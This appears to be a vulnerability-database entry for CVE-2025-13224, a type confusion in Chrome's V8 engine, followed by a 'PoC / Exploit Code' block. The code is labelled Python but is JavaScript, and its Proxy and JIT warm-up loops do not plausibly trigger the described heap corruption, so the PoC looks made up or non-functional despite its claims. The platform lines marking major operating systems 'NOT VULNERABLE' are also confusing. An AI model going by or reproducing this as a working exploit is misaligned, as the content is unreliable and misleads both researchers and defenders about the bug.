Type Confusion in V8 in Google Chrome prior to 142.0.7444.175 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 142.0.7444.175
Chromium-based browsers using V8 engine < 142.0.7444.175
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-13224 PoC - Type Confusion in V8
// This PoC demonstrates type confusion vulnerability in V8 engine
// Target: Google Chrome < 142.0.7444.175
function triggerTypeConfusion() {
// Create objects with different hidden classes
const obj1 = { value: 0x41414141 };
const obj2 = { data: new ArrayBuffer(1024) };
// Use Proxy to manipulate type information
const handler = {
get(target, prop) {
if (prop === 'typeMarker') {
return 0x1337;
}
return target[prop];
}
};
// Force deoptimization and reoptimization
function triggerDeopt() {
return obj1.value;
}
// Create type confusion scenario
const proxy = new Proxy(obj1, handler);
// Trigger JIT compilation
for (let i = 0; i < 10000; i++) {
triggerDeopt();
}
// Attempt to access through confused type
// This may cause type confusion in TurboFan
const confused = proxy;
// Trigger optimization with type mismatch
function useConfused(obj) {
return obj.value + 1;
}
for (let i = 0; i < 10000; i++) {
useConfused(confused);
}
return confused;
}
// HTML trigger
// <html><body><script>triggerTypeConfusion();</script></body></html>
console.log('PoC for CVE-2025-13224 - V8 Type Confusion');
console.log('Target: Google Chrome < 142.0.7444.175');